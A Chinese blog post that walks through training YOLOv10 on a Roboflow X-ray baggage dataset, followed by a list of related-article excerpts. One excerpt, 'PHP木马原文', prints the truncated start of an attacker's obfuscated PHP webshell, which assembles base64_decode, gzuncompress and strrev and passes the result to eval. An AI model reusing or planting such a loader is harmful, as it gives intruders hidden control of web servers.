实战|YOLOv10 自定义目标检测
引言
YOLOv10[1] 概述和使用自定义数据训练模型
概述
由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领先的检测性能,还降低了对计算资源的需求。大量实验结果证明,YOLOv10 在不同规模的模型上都能提供卓越的准确率和延迟之间的平衡。
架构
-
Backbone:在 YOLOv10 中,主干网络负责提取特征,它采用了改进版的 CSPNet(跨阶段部分网络),这一改进有助于优化梯度传播,并降低计算过程中的重复性。 -
Neck:连接层的作用是整合不同尺度上的特征,并将它们传递给网络的输出部分。它内部集成了 PAN(路径聚合网络)层,以实现多尺度特征的有效融合。 -
One-to-Many Head:在训练过程中,对于每个目标对象生成多个预测结果,这样做可以提供更多的监督信号,从而提升模型的学习精度。 -
One-to-One Head:在推理过程中,对于每个目标对象生成单一的最佳预测结果,这样做可以省去 NMS(非极大值抑制)的步骤,减少处理时间,提高整体的效率。
模型变体和性能
YOLOv10 提供了六种不同规模的模型:
-
YOLOv10-N:纳米版,专为资源极其有限的场合设计。
-
YOLOv10-S:小型版,兼顾速度与准确性。
-
YOLOv10-M:中型版,适用于一般用途。
-
YOLOv10-B:平衡版,通过增加模型宽度来提升准确性。
-
YOLOv10-L:大型版,牺牲一定的计算资源以换取更高的准确性。
-
YOLOv10-X:超大型版,追求极致的准确性和性能表现。
性能比较
让我们看一下不同模型在延迟和准确性方面的比较,这些模型是在 COCO 等标准基准上进行测试的。
显然,YOLOv10 是实时物体检测应用的尖端技术,能够以更少的参数提供更高的精度和速度性能。
实战训练
首先,克隆官方 YOLOv10 GitHub 存储库以下载必要的 yolov10n 模型。
pip install -q git+https://github.com/THU-MIG/yolov10.git
wget -P -q https://github.com/jameslahm/yolov10/releases/download/v1.0/yolov10n.pt
您可以在 Roboflow Universe 平台上开展任何自定义项目,自行构建数据集,还可以利用 Intel 赞助的 RF100 数据集。在本文中,我将采用一个专为检测 X 射线图像中的可疑物品而设计好的数据集。
通过 Roboflow API,您可以下载以 YOLOv8 格式封装的模型。
!pip install -q roboflow
from roboflow import Roboflow
rf = Roboflow(api_key="your-api-key")
project = rf.workspace("vladutc").project("x-ray-baggage")
version = project.version(3)
dataset = version.download("yolov8")
指定参数和文件路径,然后开始模型训练。
!yolo task=detect mode=train epochs=25 batch=32 plots=True \
model='/content/-q/yolov10n.pt' \
data='/content/X-Ray-Baggage-3/data.yaml'
示例 data.yaml 文件
names:
- Gun
- Knife
- Pliers
- Scissors
- Wrench
nc: 5
roboflow:
license: CC BY 4.0
project: x-ray-baggage
url: https://universe.roboflow.com/vladutc/x-ray-baggage/dataset/3
version: 3
workspace: vladutc
test: /content/X-Ray-Baggage-3/test/images
train: /content/X-Ray-Baggage-3/train/images
val: /content/X-Ray-Baggage-3/valid/images
让我们看看结果。
Image(filename='/content/runs/detect/train/results.png', width=1000)
让我们预测测试数据并在 5x2 网格中显示结果。
from ultralytics import YOLOv10
model_path = '/content/runs/detect/train/weights/best.pt'
model = YOLOv10(model_path)
results = model(source='/content/X-Ray-Baggage-3/test/images', conf=0.25,save=True)
import glob
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
images = glob.glob('/content/runs/detect/predict/*.jpg')
images_to_display = images[:10]
fig, axes = plt.subplots(2, 5, figsize=(20, 10))
for i, ax in enumerate(axes.flat):
if i < len(images_to_display):
img = mpimg.imread(images_to_display[i])
ax.imshow(img)
ax.axis('off')
else:
ax.axis('off')
plt.tight_layout()
plt.show()
Source: https://medium.com/@batuhansenerr/yolov10-custom-object-detection-bd7298ddbfd3
本文由 mdnice 多平台发布
相关文章:
实战|YOLOv10 自定义目标检测
引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...
TTS前端原理学习 chatgpt生成答案
第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章: https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器,并采用多任务学习技术…...
AI“音乐创作”横行给音乐家带来哪些隐忧
近日,200多名国际乐坛知名音乐人联署公开信,呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利,具体诉求包括,停止使用AI侵犯及贬低人类艺术家的权利,要求…...
SolidityFoundry 安全审计测试 Delegatecall漏洞2
名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…...
【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)࿰…...
2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】
第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...
外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...
湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...
Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...
使用ESP32和Flask框架实现温湿度数据监测系统
项目概述 在这个项目中,我们将使用ESP32微控制器读取温湿度传感器的数据,并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架,非常适合快速开发和部署Web应用。通过这个项目,我们不仅可以了…...
为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?
按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决,这背后有几个关键原因: 1. **逻辑性**: 正确的顺序通常遵循逻辑性和因果关系(因为得按照这个基础的逻辑性才能够是自己顺应规律,太阳没有办法能够从西…...
嵌入式Linux gcc 编译器使用解析
目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...
4、matlab双目相机标定实验
1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来,从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数(如焦距、主点、畸变等)和外部参数(如相机位置、朝向等)…...
Oracle 数据库表和视图 的操作
1. 命令方式操作数据库(采用SQL*Plus) 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...
美国ARC与延锋安全合作,推动汽车安全气囊技术新突破
在汽车安全领域,安全气囊作为关键被动安全配置,对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进,安全气囊技术的升级与革新显得尤为重要。2022年10月25日,美国ARC公司与延锋安全携手合作,共…...
Docker:centos79-docker-compose安装记录
1.安装环境:centos7.9 x86 2.安装最新版: [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...
相交链表(Leetcode)
题目分析: . - 力扣(LeetCode) 相交链表:首先我想到的第一个思路是:如图可知,A和B链表存在长度差,从左边一起遍历链表不好找交点,那我们就从后面开始找,但是这是单链表&…...
建造者模式(大话设计模式)C/C++版本
建造者模式 C 参考:https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class,产品类,由多个…...
【地质灾害监测实现有效预警,44人提前安全转移】
6月13日14时,国信华源地质灾害监测预警系统提前精准预警,安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备,实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...
FFXIV TexTools深度解析:游戏模组制作框架的技术架构与实战应用
FFXIV TexTools深度解析:游戏模组制作框架的技术架构与实战应用 【免费下载链接】FFXIV_TexTools_UI 项目地址: https://gitcode.com/gh_mirrors/ff/FFXIV_TexTools_UI FFXIV TexTools是一款专为《最终幻想14》设计的专业级模组制作与安装框架,为…...
FreeRTOS优先级设置踩坑实录:为什么你的高优先级任务跑不起来?
FreeRTOS优先级设置实战指南:从原理到调试的完整解决方案 当你第一次在FreeRTOS中创建多个任务并设置不同优先级时,可能会遇到一个令人困惑的现象:明明设置了高优先级任务,但系统运行时低优先级任务却先执行。这种情况在从其他RT…...
树莓派NOOBS安装指南:从SD卡准备到系统配置全流程详解
1. 项目概述:为什么选择NOOBS作为树莓派入门首选如果你刚拿到一块树莓派,看着这块小小的电路板,第一反应可能是兴奋,紧接着就是困惑:我该怎么让它“活”过来?对于嵌入式开发、物联网原型搭建,甚…...
【信息科学与工程学】【物理/化学科学和工程技术】知识体系 第四十篇 低空/高空领域中的力学知识 01
低空与高空(地球大气层内/地球大气层外)领域的核心力学知识。 编号:001 类别:流体力学 / 连续介质力学 领域:低空飞行器空气动力学 力学模型配方:Navier-Stokes方程组(可压缩/不可压缩) 数学分析:求解控制流体运动的质量、动量和能量守恒偏微分方程组。 定理/算法…...
NotebookLM概念关联分析全链路解析,从原始文本到可验证知识网络的6大断点与修复方案
更多请点击: https://intelliparadigm.com 第一章:NotebookLM概念关联分析全链路解析概览 NotebookLM 是 Google 推出的基于 LLM 的实验性研究辅助工具,其核心能力在于对用户上传的文档(PDF、TXT、网页等)进行语义理…...
441GB香港OSGB数据实战:从ContextCapture目录到Smart3D加载的完整指南
1. 441GB香港OSGB数据背景解析 第一次拿到441GB的香港OSGB数据时,我的硬盘指示灯疯狂闪烁了整整一晚上。这种规模的倾斜摄影数据在业内确实罕见,特别是覆盖香港565平方公里区域的完整数据集。实测发现,这套数据采用ContextCapture标准目录结构…...
Apache RocketMQ 5.0 架构解析:如何基于云原生架构支撑多元化场景
本文将从技术角度了解 RocketMQ 的云原生架构,了解 RocketMQ 如何基于一套统一的架构支撑多元化的场景。 文章主要包含三部分内容。首先介绍 RocketMQ 5.0 的核心概念和架构概览;然后从集群角度出发,从宏观视角学习 RocketMQ 的管控链路、数…...
【亲测免费】 探索RS485通信的利器:开源项目推荐
探索RS485通信的利器:开源项目推荐 【下载地址】RS485通信程序 本仓库提供了一个完整的RS485通信程序,经过本人亲自测试,程序注释详细,非常适合作为学习和开发的参考例程。无论你是初学者还是有经验的开发者,这个资源都…...
暗物质暗能量本质,分享给各位玩家
通过百度网盘分享的文件:A First-…等3个文件链接:https://pan.baidu.com/s/1FVDfTxTDAslqLtN17ulQ1w?pwd516r 复制这段内容打开「百度网盘APP 即可获取」...
限时开放|Perplexity学术搜索私藏工作区(含18个学科定制模板+实时更新的期刊影响因子映射表)
更多请点击: https://kaifayun.com 第一章:Perplexity学术搜索的核心价值与适用场景 Perplexity.ai 并非传统搜索引擎,而是一个融合大语言模型推理能力与实时学术信息检索的智能研究协作者。其核心价值在于将“提问—验证—溯源”闭环内化为…...
